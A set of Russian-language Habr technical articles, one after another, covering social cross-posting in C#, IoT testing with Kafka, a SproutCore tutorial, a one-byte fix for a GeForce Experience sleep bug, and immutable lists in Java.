if (!string.IsNullOrWhiteSpace(post.PreviewUrl))
{
//ссылка на изображение
postSocial.Preview = "http://" + HostName + post.PreviewUrl;
}
postSocial.Title = post.Title;
postSocial.Teaser = post.Subtitle; //ссылка на оригинал статьи
postSocial.Link = "http://" + HostName + "/Post/" + post.ID.ToString(); //устанавливаем сохраненые токены
var fbAccess = JsonConvert.DeserializeObject(fbSocial.JsonResource);
fbProvider.AccessToken = fbAccess.AccessToken;
//публикуем пост
fbProvider.Publish(postSocial);
repository.CrossPost(post, Post.CrossProvider.facebook);
}
return RedirectToAction("Index");
}
```
В зависимости от установленных параметров создастся запись. При установке активной ссылки facebook самостоятельно выберет нужную ему картинку
4. Вконтакте
============
Вконтакте предлагает самый непростой алгоритм взаимодействия.
Начнем по порядку: создавать посты как у себя на стене так и на стене группы может только Standalone приложение (а не веб), поэтому регистрировать приложение (<http://vkontakte.ru/editapp?act=create&site=1>) нужно указывать [x] Standalone-приложение.
Второе: для добавления к записи картинки ее нужно загрузив предварительно.
Третье: для загрузки картинки необходимо запросить адрес сервера по которому будет производится загрузка.
Четвертое: ссылка на оригинальный пост размещается в параметре attachments и при добавлении ссылки не гарантирует добавление заметки.
Собственно остальное всё так же, так что приступим и получим права:
```
public ActionResult GetVkCode()
{
var vkSocial = currentUser.Socials.Where(p => p.Provider == "vkontakte").FirstOrDefault();
if (vkSocial != null)
{
return RedirectToAction("Index");
}
else
{
return Redirect(vkProvider.Authorize("http://" + HostName + "/Social/SaveVkCode"));
}
}
public string Authorize(string redirectTo)
{
return string.Format(AuthorizeUri, Config.AppKey, redirectTo);
}
```
Для нашего кросспостинга мы запрашиваем следующие уровни доступа: photos, groups, wall, offline.
Т.е. можем загружать фоточки в группы на стену в любое время.
### Публикация
Перед публикацией на стену группы нам нужно узнать номер этой группы по имени (groups.getById). Удивительно то, что группы (а также персональные страницы) нумеруются в отрицательную сторону. Т.е.
после получения результата значение gid надо умножить на -1.
Потом мы запрашиваем сервер для загрузки фотографий: photos.getWallUploadServer, а не photos.getUploadServer — хоть они и идентичны почти.
Далее мы через post по полученному url-запросу посылаем фотографию на сервер вконтакте. Я использовал библиотеку UploadHelper (<http://aspnetupload.com/>).
После загрузки на сервер надо передать команду о сохранении этого изображения: photos.saveWallPhoto — на что получаем id фотографии. Если вы использовали photos.getUploadServer вместо photos.getWallUploadServer — то фотография не сохранится.
И уже следующим этапом мы добавляем фотографию на стену группы/или персональной страницы (wall.post).
Собственно всё.
5. Плюшки
=========
Попробовать можно тут: <http://cocosanka.ru> (после регистрации, можно записать что-то бессмысленное в блог, и потом откросспостить).
Скачать исходники тут: <https://bitbucket.org/chernikov/cocosanka2>
Для работы с данными я использовал библиотеку Json.net(<http://json.codeplex.com/>) переводя автоматически полученные строки в объекты.
Ключи приложений хранятся в Web.config, но необходимо будет прописать свои. | https://habr.com/ru/post/131107/ | null | ru | null |
# IoT там, где вы не ждали. Разработка и тестирование (часть 2)
Продолжение первой части статьи [«IoT там, где вы не ждали. Разработка и тестирование (часть 1)»](https://habr.com/ru/company/jugru/blog/501922/) не заставила себя долго ждать. На этот раз я расскажу, какая была архитектура проекта и на какие грабли мы наступили, когда начали тестировать наше решение.
*Disclaimer: ни одна мусорка ~~сильно~~ не пострадала.*

Архитектура проекта
-------------------
У нас получился типичный микросервисный проект. Слой микросервисов «нижнего уровня» принимает данные с устройств и датчиков, складирует их в Kafka, после чего уже бизнес-ориентированные микросервисы могут работать с данными полученными из Kafka, чтобы показать текущее состояние устройств, построить аналитику и подстроить свои модели.

Kafka в IoT-проекте зашла очень круто. По сравнению с другими системами вроде RabbitMQ, Kafka имеет несколько преимуществ:
* **Работа со стримами**: сырые данные с датчиков можно обработать в получить стрим. А со стримами вы можете гибко настроить, что вы хотите отфильтровать в них, и легко сделать рестриминг (сформировать новые потоки данных)
* **Логирование**: Kafka больше похожа на журнал, и благодаря структуре данных типа лога мы можем хранить данные, например, за полгода. Из-за того, что сервисы из бизнес-части разрабатывались разными командами, новые микросервисы добавлялись в проект постепенно. При внедрении сервиса в инфраструктуру мы могли прогнать на нем все данные, которые были получены в Kafka с начала времен, и построить его модель. Это очень удобно, когда ты первый раз запускаешь приложение, а у тебя уже есть база событий, полученных с реальных устройств за предыдущий месяц.
Тестируем Backend
------------------
Для начала посмотрим на привычный нам бэкенд, весь бизнес-слой приложения построен на одном стеке Java и Spring. Для тестирования микросервисных приложений в реальном окружении мы используем библиотеку test-containers. Она позволяет легко развернуть внешнюю обвязку (Kafka, PostgreSQL, MongoDB и т.д.) в Docker.
Сначала мы поднимаем нужный контейнер в Docker, запускаем приложение и на реальном инстансе уже гоняем тестовые данные.
О том, как именно мы это делаем, я подробно рассказывал на Heisenbug 2019 Piter в докладе «Микросервисные войны: JUnit эпизод 5 — TestContainers наносит ответный удар»:
Давайте посмотрим на небольшом примере, как это выглядело. Сервис нижнего уровня берет данные c девайсов и кидает их в Kafka. А сервис «Heat Map» из бизнес-части забирает данные из kafka и строит тепловую карту.

Давайте протестируем получение данных сервисом «Heat Map» (через Kafka)
```
@KafkaTestContainer
@SpringBootTest
class KafkaIntegrationTest {
@Autowired
private KafkaTemplate kafkaTemplate;
@Test
void sendTest() {
kafkaTemplate.send(TOPIC_NAME, MEASSAGE_BODY)
// тут нужно дождаться получения данных
// и можно проверять что логика их обработки
// реализована правильно
}
}
```
Мы пишем обычный интеграционный SpringBoot-тест, однако он отличается annotation-based стилем конфигурации тестового окружения. Аннотация `@KafkaTestContainer` нужна для поднятия Kafka. Для ее использования нужно подключить библиотеку:
[spring-test-kafka](http://github.com/jupiter-tools/spring-test-kafka)
При старте приложения запускается Spring и стартует Kafka контейнер в Docker. Затем в самом тесте мы используем `kafkaTemplate`, инжектим его в тестовый кейс и отправляем данные в Kafka, чтобы протестировать логику обработки новых данных из топика.
Все это происходит на нормальном инстансе Kafka, никаких embedded-вариантов, а только та версия, что крутится в продакшене.

Сервис Heat Map использует в качестве хранилища MongoDB, и тест для MongoDB выглядит похожим образом:
```
@MongoDbDataTest
class SensorDataRecordServiceTest {
@Autowired
private SensorDataRecordRepository repository;
@Test
@MongoDataSet(value ="sensor_data.json")
void findSingle() {
var log = repository.findAllByDeviceId("001");
assertThat(log).hasSize(1);
...
}
}
```
Аннотация `@MongoDbDataTest` запускает MongoDB в Docker аналогично Kafka. После того, как приложение было запущено, мы можем пользоваться репозиторием для работы с MongoDB.
Для использования в ваших тестах этого функционала, все что нужно — это подключить библиотеку:
[spring-test-mongo](http://github.com/jupiter-tools/spring-test-mongo)
К слову сказать, там есть много других полезностей, например, можно перед выполнением теста загружать в базу данные, через аннотацию `@MongoDataSet` как в примере выше, или при помощи аннотации `@ExpectedMongoDataSet` проверить, что после выполнения тестового кейса в базе появился именно тот набор данных, который мы ожидаем.
> Подробнее о работе с тестовыми данными я расскажу на [Heisenbug 2020 Piter](https://heisenbug-piter.ru/?utm_source=habr&utm_medium=502898), который пройдет 15-18 июня в онлайне.
Тестируем IoT-специфичные вещи
------------------------------
Если бизнес-часть — это типичный бэкенд, то работа с данными с девайсов содержала много граблей и специфики, связанной с железом.
У вас есть девайс, и вам надо с ним сопрягаться. Для этого вам понадобится документация. Хорошо, когда у вас на руках и железка и доки к ней. Однако у нас все начиналось по-другому: была только документация, а девайс был еще в пути. Мы запилили небольшое приложение, которое в теории должно было работать, но как только приехали реальные девайсы, наши ожидания столкнулись с реальностью.
Мы думали, что на входе будет бинарный формат, а устройство стало кидать в нас каким-то XML-файлом. И в такой жесткой форме родилось первое правило для IoT-проекта:
> Никогда не верь документации!
В принципе, полученные с устройства данные были более-менее понятные: `Time` — это временная метка, `DevEUI` — идентификатор девайса, `LrrLAT` и `LrrLON` — координаты.

А вот что такое `payload_hex`? Мы видим 8 разрядов, что в них может быть? Это дистанция до мусора, напряжение датчика, уровень сигнала, угол наклона, температура или вообще все вместе взятое? В какой-то момент мы думали, что китайские производители этих девайсов познали какой-то фен-шуй архивирования и смогли в 8 разрядов запаковать все, что только можно. Но если посмотреть выше, то видно, что время записано обычной строкой и содержит в 3 раза больше разрядов, то есть байты явно никто не экономил. В итоге выяснилось, что конкретно в этой прошивке половина датчиков в девайсе просто выключена, и нужно ждать новую прошивку.
Пока ждали, мы сделали в офисе тестовый стенд, который, по сути, был обычной картонной коробкой. На ее крышку мы прикрепили устройство и закидывали в коробку всякий офисный хлам. Еще нам нужен был тестовый экземпляр машины перевозчика, и ее роль исполняла машина одного из разработчиков в проекте.
Теперь мы видели на карте, где стоят картонные коробки, и знали, куда ездил разработчик (спойлер: работа-дом, и по вечерам пятницы никто бар не отменял).

Однако система с тестовыми стендами просуществовала недолго, потому что есть большие отличия от реальных контейнеров. Например, если говорить про акселерометр, то мы крутили коробку из стороны в сторону и получали показания с датчика, и вроде все работало. Но в реальности есть некие ограничения.

В первых версиях девайса угол измерялся не в абсолютных значениях, а в относительных. И когда коробку наклоняли больше, чем на фиксированную в прошивке дельту, то датчик начинал работать некорректно или даже мог не зафиксировать поворот.

Конечно, все эти ошибки в процессе исправили, но на старте различия между коробкой и контейнером принесли много проблем. И мы просверлили бак со всех сторон, пока решали, как расположить датчик в контейнере, чтобы при подъеме бака машиной перевозчика мы точно фиксировали, что мусор выгружают.
Помимо проблемы с углом наклона, мы поначалу не учли, каким будет реальный мусор в контейнере. И если мы кидали в ту коробку пенопласт да подушки, то в реальности люди складывают в контейнер все подряд, даже цемент с песком. И в результате однажды датчик показывал, что контейнер пуст, хотя на самом деле тот был заполнен. Как выяснилось, кто-то во время ремонта выкинул крутой звукопоглощающий материал, который гасил сигналы от датчика.
В этот момент мы решили договориться с арендодателем бизнес-центра, где находится офис, чтобы установить датчики на его мусорные контейнеры. Мы оборудовали площадку перед офисом, и с этого момента жизнь и будни разработчиков проекта кардинально изменились. Обычно в начале рабочего дня ты хочешь выпить кофе, почитать новости, а тут у тебя вся лента забита мусором, буквально:

При тестировании температурного датчика, как и в случае с акселерометром, реальность преподнесла новые сценарии. Пороговое значение для температуры довольно сложно подобрать так, чтобы мы вовремя узнали, что датчик горит, и не распрощались с ним. Например, летом контейнеры сильно нагреваются под солнцем, и установка слишком малой пороговой температуры чревата постоянными уведомлениями от датчика. А если девайс реально горит, и кто-то начинает его тушить, то нужно готовиться к тому, что бак зальют доверху водой, потом кто-нибудь его уронит, и тушить будут уже на полу. При таком сценарии датчик, очевидно, не выживет.

В какой-то момент к нам пришла новая прошивка (вы же помните, что мы ее ждали?). Мы накатили ее на датчики, и протокол связи с датчиком вновь сломался. Прощай, XML, и да здравствует опять бинарный формат. Хочется надеяться в этот момент, что сейчас он соответствует документации, но… нет же!
> Поэтому второе правило: читай первое правило. То есть — никогда не верь документации.
Что можно сделать? Например, заняться реверс-инжинирингом: сидим с консолью, собираем данные, крутим-вертим датчик, ставим что-то перед ним, пытаемся выявить закономерности. Так можно вычленить дистанцию, статус контейнера и контрольную сумму. Однако некоторые данные было сложно интерпретировать, потому что наши китайские производители девайсов, видимо, любят велосипеды. И чтобы запаковать в бинарный формат число с плавающей точкой для интерпретации угла наклона, они решили взять два байта и разделить на 35.

И во всей этой истории нам сильно помогло то, что нижний слой сервисов, работающий с девайсами, был изолирован от верхнего, и все данные переливались через кафку, контракты на которую были согласованы и закреплены.
Это сильно помогало в плане разработки, поскольку если поломался нижний уровень, то мы спокойно пилим бизнес-сервисы, потому что контракт в них жестко зафиксирован. Поэтому настоящее второе правило разработки IoT-проектов — это изолировать сервисы и использовать контракты.
> В докладе было еще много интересного: имитационное моделирование, нагрузочное тестирование, да и в целом я бы посоветовал [посмотреть этот доклад.](https://www.youtube.com/watch?v=_KZ9vfAkK-E)
>
>
[В третьей части](https://habr.com/ru/company/jugru/blog/503064/) я расскажу про имитационную модель, stay tuned! | https://habr.com/ru/post/502898/ | null | ru | null |
# Введение в SproutCore часть вторая
В [первой части](http://habrahabr.ru/blogs/javascript/125698) руководства по SproutCore рассказывалось о создании простого приложения.
Пришло время углубить знания и разобраться с Моделями в SproutCore.
После прочтения данного руководства вы сможете:
* Описывать модели с помощью SC.Record.
* Управлять моделями с помощью SC.Store.
* Загружать начальные данные в хранилище.
* Посылать запросы к хранилищу с помощью SC.Query.
#### 1 Подготовка приложения
В первой части этого руководства, рассказывалось, как построить простое приложение Todo-лист.
Теперь вы знаете, как описать модели, представления и контроллеры, а также определить их взаимодействие с помощью привязок.
Однако, у нас не было возможности сохранять информацию между обновлениями страницы.
Одним из способов реализации этого является использование хранилище данных SproutCore для управления записями.
Экземпляр SC.Store отвечает за управление жизненным циклом записей.
SC.Store использует SC.DataSource для обработки данных загруженных с сервера и для подготовки их к отправке обратно на сервер.
Если у вас сохранилось приложение из первой части этого руководства, используйте его.
Если нет, то вы можете скачать его с GitHub.
Для того чтобы использовать хранилище необходимо включить его в список используемых модулей для нашего приложения.
Используемые модули указываются в файле Buildfile в секции config.
```
config :all, :required => ["sproutcore/core_foundation", "sproutcore/datastore"], :theme => "sproutcore/empty_theme"
```
#### 2 Определение модели
В прошлом уроке мы определяли модель как подкласс SC.Object, переопределим ее использую SC.Record.
Изменим код в файле apps/todos/todos.js:
```
Todos.Todo = SC.Record.extend({
title: SC.Record.attr(String),
isDone: SC.Record.attr(Boolean, { defaultValue: NO })
});
```
Теперь мы используем SC.Record в качестве базового класса для модели. Также мы определили атрибуты модели и их типы.
Title теперь всегда ковертируется в строку, а isDone в булеву переменную. Также isDone теперь принимает значение false по умолчанию,
если не задано другое.
#### 3 Создание статического набора исходных данных
Самый простой способ начать разработку без подключения к backend серверу является использование статического набора исходных данных.
Статический набор — это массив хэшей данных, которые представляют каждую запись.
Давайте создадим такой набор, для этого добавим следующий код в файл apps/todos/todos.js после описания модели:
```
Todos.Todo.FIXTURES = [
{ "guid": "todo-1",
"title": "Build my first SproutCore app",
"isDone": false },
{ "guid": "todo-2",
"title": "Build a really awesome SproutCore app",
"isDone": false },
{ "guid": "todo-3",
"title": "Next, the world!",
"isDone": false }
];
```
Теперь у нас есть модель и исходные данные, но если запустить приложение, то изменений не видно.
Дело в том что за загрузку данных отвечает SC.Store. Добавим в контроллер код, создающий хранилище данных для нашего приложения.
В файл apps/todos/todos.js напишем следующее:
```
// создадим хранилище во время создания пространства имен приложения
Todos = SC.Application.create({
store: SC.Store.create().from(SC.Record.fixtures)
});
```
Мы создали хранилище данных для приложения. Пока мы используем статические исходные данные, но потом можно будет в качестве аргумента
функции from() указать реальный источник данных.
Проверим как работает наше приложение. Выполним команду sc-server и откроем в браузере <http://localhost:4020/todos>.
Теперь в javascript консоли нашего браузера напишем следующие команды:
```
records = Todos.store.find(Todos.Todo)
records.objectAt(0).get('title')
```
Получим результат:
```
// => "Build my first SproutCore app"
```
Мы просто вызвали метод find() нашего хранилища, который возвращает все записи в виде экземпляра класса SC.RecordArray.
Если создать новую запись, она автоматически будет добавлена в хранилище, также при уничтожении записи — она исчезнет из хранилища.
#### 4 Связка контроллера и хранилища
Теперь мы можем использовать хранилище в котроллере нашего приложения. Для этого нужно присвоить свойству content объекта Todos.todoListController
значение возвращаемое функцией find() хранилища. Это можно сделать в коллбеке функции SC.ready().
Изменим код в файле apps/todos/todos.js на следующий:
```
SC.ready(function() {
Todos.mainPane = SC.TemplatePane.append({
layerId: 'todos',
templateName: 'todos'
});
var todos = Todos.store.find(Todos.Todo);
Todos.todoListController.set('content', todos);
});
```
Если обновить страницу нашего приложения, видно, что отображаются исходные данных, которые мы загрузили в хранилище.
Далее перепишем функцию создания новых задач в файле apps/todos/todos.js на следующую:
```
createTodo: function(title) {
Todos.store.createRecord(Todos.Todo, { title: title });
},
```
И наконец изменим функцию удаления задач в файле apps/todos/todos.js:
```
Todos.todoListController = SC.ArrayController.create({
// ...
clearCompletedTodos: function(){
this.filterProperty('isDone', true).forEach( function(item) {
item.destroy();
});
},
// ...
)};
```
Теперь наше приложение полнофункционально и использует хранилище данных для своей работы.
Хранилище без проблем подключается к backend серверу посредством обмена JSON сообщениями.
Оригинал [статьи](http://guides.sproutcore.com/getting_started_2.html) | https://habr.com/ru/post/126027/ | null | ru | null |
# Устраняем старый баг в NVIDIA GeForce Experience
Предыстория
===========
Несколько месяцев назад я решил попробовать сыграть в Microsoft Flight Simulator 2020. [Копия нашей планеты](https://www.youtube.com/watch?v=0w7q1ZFfsxs), созданная Asobo при помощи фотограмметрии и машинного обучения, казалась подходящим местом для отдыха в эти трудные времена.
Я подключил свой верный беспроводной джойстик Logitech Freedom 2.4 и поднялся в небеса.

Спустя несколько часов полётов вокруг моей альма-матер и дома, в которой я провёл детство, настало время закругляться. Я настроил свой компьютер так, чтобы мониторы отключались через несколько минут неактивности, поэтому быстро понял, что больше они не отключаются.
Такое поведение уже было мне знакомо. Иногда причина заключалась в открытой вкладке браузера, где в фоновом режиме проигрывалось видео, иногда проблема возникала с веб-приложением, а иногда вина была за системной задачей, решившей, что она слишком важна, чтобы отпускать машину в состояние ожидания/сна. В Windows приложения могут запросить эту привилегию у [Kernel-Mode Power Manager](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-power-manager) операционной системы. Это полезно, ведь мы не хотим, чтобы машина уходила в сон или отключала монитор, пока мы смотрим фильм, играем в игру или копируем файл. Такие запросы можно увидеть, открыв [командную строку с повышенными правами](https://superuser.com/questions/968214/open-cmd-as-admin-with-windowsr-shortcut) и запустив [powercfg /requests](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options).

*Пусто.*
Однако у меня возникла идея. Раньше я писал код для проекта под названием [procrastitracker](https://github.com/aardappel/procrastitracker) — потрясающего компактного приложения для контроля времени под Windows. В нём я реализовал распознавание активности [XInput](https://docs.microsoft.com/en-us/windows/win32/xinput/getting-started-with-xinput). Видите ли, я использовал это приложение для того, чтобы отслеживать время, которое трачу на игры, а при использовании контроллера Xbox машина считалась находящейся в состоянии простоя. Поэтому моя задача заключалась в том, чтобы приложение распознавало XInput как пользовательскую активность. Я заметил, что Windows использует ввод с контроллеров (не только с мыши и клавиатуры), чтобы определять, что машина используется, и не отправлять дисплей в сон. Также я заметил, что один из аналоговых вводов моего контроллера довольно сильно колеблется, поэтому простая реализация кода без «мёртвых» зон не сработала бы, потому что procrastitracker считала бы, что я использую контроллер, даже когда сплю. «Мёртвые» зоны решили проблему с procrastitracker и контроллер больше не мешал Windows уходить в сон, так что всё было здорово. Виноват ли в нынешней проблеме мой старый джойстик Logitech? Ему сейчас уже 15 лет. Я отключил приёмник и спустя несколько минут дисплей ушёл в сон. *Загадка решена!*
Но не будем торопиться.
На сцене появляется NVIDIA
==========================
С тех пор я обновлял свой компьютер, в том числе купил джойстик получше, рычаг управления двигателем и педали. После их подключения Windows по-прежнему не позволяла дисплею уходить в сон, но я решил изучить проблему внимательнее. Взглянув на панель управления контроллерами USB с подключенным новым джойстиком, я не увидел никаких колебаний. Никакой аналоговой нестабильности и спонтанного ввода. Машине определённо мешала уйти в сон не активность устройства, теперь я был в этом уверен.

*Это скриншот, но в реальности всё выглядит так же. Ничего не движется.*
Я решил сделать то, что хорошо помогало раньше — обратился к Google.

И Google знал ответ. Люди отследили корни проблемы до оверлея NVIDIA GeForce Experience, иногда называемого ShadowPlay (или NVIDIA Share). Это программа, позволяющая использовать [кодировщик NVENC](https://en.wikipedia.org/wiki/Nvidia_NVENC) графических карт NVIDIA для записи сжатого видео в реальном времени. Её используют для того, чтобы делиться интересными моментами видеоигр, и это удобно, потому что NVENC *хорош*. Сжатие видео с высоким разрешением и частотой кадров в реальном времени на CPU с сохранением качества было бы довольно сложной задачей, особенно на машине с уже запущенной видеоигрой, а NVENC обеспечивает качественный вывод без особой дополнительной нагрузки на машину благодаря использованию оборудования кодирования GPU с фиксированными функциями. Это крутая штука, поэтому я не хотел просто так отказываться от неё.
Итак, проблема в следующем: если к компьютеру подключен джойстик и включен оверлей GeForce Experience, то дисплей не уходит в сон. Если отключить джойстик, дисплей засыпает. Если отключить оверлей, то дисплей засыпает. Можно иметь только что-то одно.
Пользователи не просто отследили корни проблемы — они сделали это три года назад!
[](https://www.nvidia.com/en-us/geforce/forums/geforce-experience/14/269609/geforce-exerience-will-not-let-my-computer-sleep/)
Я поверить не мог, что эта проблема оставалась неразрешённой так долго. Поэтому я отправил отчёт о баге.

Я был уверен, что разработчики разберутся, но хотел понять причины сам. При включении оверлея запускается множество процессов — все процессы NVIDIA находятся наверху.

Каждый из них загружает множество модулей:

Сначала я думал, что оверлей опрашивает контроллеры на наличие ввода и преобразует эти события в [сообщения Windows](https://docs.microsoft.com/en-us/windows/win32/winmsg/using-messages-and-message-queues). Если он инъецировал сообщения в один из своих процессов, допустим, в события клавиатуры, то вероятно, какая-то стандартная процедура обработки событий сбрасывала состояние простоя системы. У меня не было доказательств, но я знал, что причина не только в действиях Windows. Проблему вызывало ПО NVIDIA, но оверлей, тем не менее, не реагировал на ввод с джойстика, поэтому я засомневался, что это случайный побочный эффект кода, написанного для обработки ввода с джойстика. Неправильное использование Win32 [часто встречается среди производителей GPU](https://www.techpowerup.com/274967/psa-amds-graphics-driver-will-eat-one-cpu-core-when-no-radeon-installed), поэтому я ожидал, что это будет что-то странное. Здесь стоит заметить, что я не специалист по Win32. С другой стороны, у меня есть [книга Реймонда Чена](https://www.amazon.ca/Old-New-Thing-Development-Throughout/dp/0321440307) и я её читал. Ещё есть отличный блог [The Old New Thing](https://devblogs.microsoft.com/oldnewthing/), но в нём я немного запутался.
Впрочем, мы отвлеклись. Сначала мне нужно было найти способ обнаружения момента возникновения проблемы, не ожидая засыпания дисплея, поэтому я быстро написал простое приложение, сбрасывающее дамп вывода [GetLastInputInfo](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getlastinputinfo). Я не ожидал, что эта функция будет иметь полномочия над состоянием простоя системы — для этого нужно получить [SYSTEM\_POWER\_INFORMATION от CallNtPowerInformation](https://docs.microsoft.com/en-us/windows/win32/api/powerbase/nf-powerbase-callntpowerinformation), но оказалось, что она действует.

Я подключился к NVIDIA Share.exe в [x64dbg](https://x64dbg.com) и начал искать то, что относится к вводу.

Я знал, что проблему вызывает не Xinput — он используется только для контроллеров Xbox и эмулирующих их, плюс я знал, что procrastitracker и так опрашивает в фоновом режиме Xinput, и дело не в нём. Однако я заметил, что даже когда процесс приостанавливается в отладчике (и в моём маленьком приложении, отслеживающем состояние простоя), видно, что выполняется сброс. Я решил, что создал много процессов, поэтому начал приостанавливать их один за другим (простое завершение по одному не работает, они мгновенно перезапускаются). Состояние простоя продолжало сбрасываться. Это стало важной уликой, она означала, что для этого приложение не выполняет никакого кода. Я не инъецировал сообщения и не делал ничего подобного. **Причина была в чем-то, что оно делает при инициализации.**
Я хотел посмотреть, как инициализируется NVIDIA Share в отладчике, но это было сложно. Нельзя запустить его напрямую, обязательно запускать его через nvcontainer.exe. Он запускает три копии NVIDIA Share, каждую со своими параметрами. Вероятно, они также общаются друг с другом, поэтому для их запуска нужно аккуратно управлять их средой. Это вполне реализуемо, но можно было попробовать и другие вещи. Я подумал, что было бы здорово, если бы удалось подключить x64dbg сразу после запуска процесса, а [рекомендации](https://github.com/x64dbg/x64dbg/issues/847) подсказали мне смотреть в сторону утилиты gflags.exe [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools).

Теоретически, можно использовать её для заброса в реестр ключа, приказывающего Windows выполнить конкретный «образ» (исполняемый файл) при его обнаружении с отладчиком. Но мне не удалось этого сделать, вероятно, потому что процесс порождается nvcontainer, а может, я делал что-то неправильно.
К счастью, у нас есть [Ghidra](https://ghidra-sre.org/). Я проделал те же самые глупые действия, что и в отладчике — загрузил самый очевидный исполняемый файл (NVIDIA Share.exe) и задал самый очевидный вопрос.
### «Здесь вообще есть какой-нибудь ввод?»

И я сразу же обнаружил нечто многообещающее! Но для начала нужно было выполнить считывание. Мне плохо знаком «сырой» ввод. В старые добрые времена существовал DirectInput. DirectInput позволяет реализовывать тактильную обратную связь (force feedback), DirectInput позволяет получить доступ к куче кнопок и осей, и по крайней мере под Windows он сильно упрощал работу с игровыми контроллерами по сравнению с прошлым, когда игры должны были поддерживать твой конкретный тип контроллера (или драйверы твоего контроллера должны были эмулировать другой, более популярный контроллер). После DirectInput появился Xinput, а Xinput сильно связан с контроллером Xbox. Вы не можете получить больше кнопок или осей, чем есть у контроллера Xbox. Вы не можете подключить больше контроллеров, чем может подключать Xbox. Всё «просто работает», но подобный API не поддерживает таких штук:

*Фото не моё.*
Всё, что соответствует стандарту HID, будет передавать свои события, а наша задача как разработчика приложения — обеспечить поддержку тех [страниц HID usage](https://usb.org/sites/default/files/hut1_21_0.pdf), которые мы сочтём нужными. Особенно мне нравится то, что посередине страницы Simulations Control (0x02) есть usage ID для симуляции ковра-самолёта (Magic Carpet Simulation, 0x0B). Комитеты по стандартам продумывают всё.

Итак, что же NVIDIA Share делает с «сырым» вводом? [RegisterRawInputDevices](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices).

Не волнуйтесь, я подчищу лишнее:

Он регистрирует свой дескриптор окна, чтобы всегда получать «сырые» события от клавиатуры (вне зависимости от того, какое окно активно). Увы, клавиатура, не джойстик. Но это дало мне идею. Что если расширить моё небольшое приложение, чтобы оно требовало и «сырой» ввод? Как насчёт DirectInput? Можно ли воспроизвести проблему без ПО NVIDIA? Я потратил один вечер и день на реализацию различных способов ввода, заново изучив Win32 и научившись DirectInput… и [COM](https://en.wikipedia.org/wiki/Component_Object_Model)… снова.

*Мне удалось воспроизвести проблему.*
### Из-за включения Raw Input для джойстиков устройства не позволяют системе перейти в режим простоя
Мои рекомендации Microsoft:
* чётче изложить это в документации
* приложение, запрашивающее «сырой» ввод, должно отображаться в `powercfg /requests` и в [WPA](https://docs.microsoft.com/en-us/windows-hardware/test/wpt/windows-performance-analyzer).
Приложение, которое я написал для демонстрации проблемы, находится здесь: <https://github.com/nuzayets/rawinput-debug/>.
Однако NVIDIA Share не запрашивал «сырой» ввод с джойстика.
По крайней мере, не напрямую. NVIDIA Share частично создан на основе [CEF, Chromium Embedded Framework](https://en.wikipedia.org/wiki/Chromium_Embedded_Framework). Зачем довольствоваться эзотерической десктопной разработкой, если можно добавить ещё и щепотку раздражающей веб-разработки? Я считаю, чем больше, тем веселее. Свободная память ведь нам всё равно не нужна.
NVIDIA Share загружает Chromium Embedded Framework как модуль под названием libcef.dll на сто с лишним мегабайт. Для его анализа Ghidra потребовалось довольно много времени, зато я обнаружил интересный фрагмент.

В драйвере геймпада он запрашивает «сырой» ввод, что логично. Для настройки его параметров всегда вызывается FUN\_1842af9b4. Вот эта функция:

Если вы не говорите на декомпиляторском, то вот примерный перевод:

К счастью, никакой код патчить не пришлось. Значения для usage ID находятся в разделе `.rdata` исполняемого файла (это `DAT_1861e16e8` в декомпиляции Ghidra).
Файл находится в `C:\Program Files\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll` и в моей версии GeForce Experience (3.20.5.70) виновный байт прячется по адресу `0x61e0ae8`. Замена `0x04` на `0x06` означает, что вместо того, чтобы пытаться получить «сырой» ввод с джойстиков, библиотека получает его от клавиатуры. Я всё ещё не понимаю, зачем оверлей NVIDIA запрашивает «сырой» ввод с джойстиков у Chromium.

Я потратил на это два дня, и в результате оказалось, что проблема заключается в единственном байте в конце. По крайней мере, теперь мой компьютер может спокойно засыпать.

Как устранить эту проблему на своей машине
------------------------------------------
Если вы не хотите мучиться с шестнадцатеричным редактором, то [этот скрипт Powershell](https://github.com/nuzayets/rawinput-debug/blob/master/patch_libcef.ps1) сделает всё за вас.
Сначала отключите оверлей и запустите Powershell с правами администратора, чтобы он мог выполнять запись в папку. | https://habr.com/ru/post/531746/ | null | ru | null |
# Ещё раз об ImmutableList в Java
В своей предыдущей статье "[Рукоблудие вокруг ImmutableList в Java](https://habr.com/ru/post/470257/)" я предложил вариант решения поднятой в статье "[Неизменяемых коллекций в Java не будет – ни сейчас, ни когда-либо](https://habr.com/ru/company/piter/blog/470149/)" проблемы отсутствия в Java неизменяемых списков.
Решение тогда было проработано только на уровне «есть такая идея», а реализация в коде была кривовата, поэтому и воспринято всё было несколько скептически. В данной статье предлагаю доработанный вариант решения. Логика использования и API доведены до приемлемого уровня. Реализация в коде – до уровня бета-версии.
Постановка задачи
-----------------
Будем использовать определения из исходной статьи. В частности, это означает, что `ImmutableList` представляет собой неизменяемый список ссылок на какие-то объекты. Если эти объекты окажутся не immutable, то и список тоже не будет являться immutable объектом, несмотря на название. На практике это вряд ли кому-то помешает, но во избежание неоправданных ожиданий упомянуть надо.
Также понятно, что неизменяемость списка может быть «хакнута» посредством reflections, или создания своих классов в том же package с последующим залезанием в protected поля списка, или ещё чего-то подобного.
В отличие от исходной статьи, не будем придерживаться принципа «всё или ничего»: там автор, похоже, считает, что если проблема не может быть решена на уровне JDK, то и не стоит ничего делать. (На самом деле, ещё вопрос, «не может быть решена» или «у авторов Java не возникло желания её решить». Как мне кажется, всё-таки было бы возможно добавлением дополнительных интерфейсов, классов и методов привести существующие коллекции в более близкий к желаемому вид, хотя и менее красивый, чем если бы об этом задумались сразу. Но сейчас речь не об этом.)
Будем делать библиотеку, которая может успешно сосуществовать с имеющимися в Java коллекциями.
Основные идеи библиотеки:
* Есть интерфейсы `ImmutableList` и `MutableList`. Приведением типов получить один из другого невозможно.
* В своём проекте, который мы хотим улучшить с использованием библиотеки, все `List`-ы заменяем на один из этих двух интерфейсов. Если в какой-то момент без `List`-а обойтись не удаётся, то при первой же возможности преобразуем `List` из / в один из двух интерфейсов. То же относится к моментам получения / передачи данных в сторонние использующие `List` библиотеки.
